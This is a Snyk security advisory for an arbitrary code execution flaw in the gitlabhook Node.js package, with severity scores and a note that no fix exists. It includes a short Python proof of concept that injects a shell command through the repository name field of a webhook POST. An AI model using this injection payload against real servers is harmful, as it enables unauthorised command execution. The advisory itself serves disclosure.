Arbitrary Code Execution Affecting gitlabhook package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    18.01% (97th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITLABHOOK-466987
  • published 15 Sep 2019
  • disclosed 13 Sep 2019
  • credit garumpage

How to fix?

There is no fixed version for gitlabhook.

Overview

gitlabhook is an easy to use nodeJS based web hook for GitLab.

Affected versions of this package are vulnerable to Arbitrary Code Execution. Function ExecFile executes commands without any sanitization. User input gets passed directly to this command.

PoC by garumpage

#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
10 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

10 critical